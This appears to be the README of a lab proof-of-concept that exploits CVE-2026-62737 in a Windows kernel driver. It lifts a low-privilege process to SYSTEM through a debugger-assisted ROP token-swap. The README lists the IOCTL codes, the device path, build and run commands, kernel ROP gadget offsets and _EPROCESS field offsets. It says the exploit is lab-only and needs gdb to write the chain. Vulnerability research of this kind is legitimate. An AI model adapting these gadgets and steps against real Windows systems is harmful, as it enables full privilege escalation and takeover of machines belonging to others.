
Elevates a low-privilege Windows process to SYSTEM via a gdb-assisted ROP token-swap chain, demonstrating CVE-2026-62737 in a lab-only QEMU environment.
A follow-up to the original CVE-2026-62737 writeup
(ExecutionContext.sys arbitrary kernel indirect call). It turns the crash
PoC into a working token-swap chain that spawns cmd.exe as SYSTEM, but only
in a lab where a debugger supplies addresses and writes the ROP chain into
kernel memory. This is not a standalone exploit.
ExecutionContext device through the KLoader proxy as a low user.0x22EC40) and queues a task (0x22AC54)
whose Callback is a kernel ROP pivot.patch_rop.py) writes a token-swap ROP chain into
ExecutionContext .data and captures the pivot-time RSP/RBP via a
hardware breakpoint.0x226C5C exit
callback), the chain swaps our token for SYSTEM's, restores the kernel
stack, and returns into the driver dispatcher so the worker survives.gdbserver tcp::1234), a guest agent, and a
host/guest shared folder mounted as Z:.\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}.x86_64-w64-mingw32-gcc) and gdb on the host.x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
Get fresh bases: ./ga.py 'Z:\modlist.exe' (after copying modlist.exe
to the shared folder)
Update the scripts: ./refresh_bases.sh
Copy exploit.exe and modlist.exe to the shared folder.
Start the exploit as the low user: exploit.exe <nt> <ec> <ec+0x10A00>.
It writes its PID to Z:\lab_pid.txt and waits for Z:\go_lab.txt.
Attach gdb, pointing LAB_PID_FILE at the host copy of lab_pid.txt:
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
Type continue at the gdb prompt.
MIT, see LICENSE.
| File | Purpose |
|---|
exploit.c | Lab exploit: init + queue + wait for gdb patch + token check + spawn cmd. |
patch_rop.py | gdb script: locates our EPROCESS, writes the ROP chain, arms the pivot breakpoint. |
trace_rop.py | Same setup, but single-steps the chain for debugging. |
refresh_bases.sh | Updates per-boot nt/ec bases in the gdb scripts from modlist.exe output. |
modlist.c | Prints the per-boot ntoskrnl / ExecutionContext base (lab KASLR oracle). |
ga.py | Runs commands inside the lab VM via the QEMU guest agent. |
Release the exploit: touch /path/to/shared/go_lab.txt
After ~15 s, Z:\lab_exploit_out.txt should show system=1 and
Z:\lab_shell_out.txt should contain nt authority\system.
| Item | Value |
|---|
| ROP pivot (full) | nt + 0x6A6A40 |
pop rcx; ret | nt + 0x28843A |
pop rdx; ret | nt + 0x2FECD2 |
mov [rcx], rdx; ret | nt + 0x3BC6A7 |
ret | nt + 0x20043B |
pop rsp; ret | nt + 0x2006C4 |
PsInitialSystemProcess | nt + 0xFC6AF0 |
_EPROCESS.Token | 0x248 |
_EPROCESS.UniqueProcessId | 0x1D0 |
_EPROCESS.ActiveProcessLinks | 0x1D8 |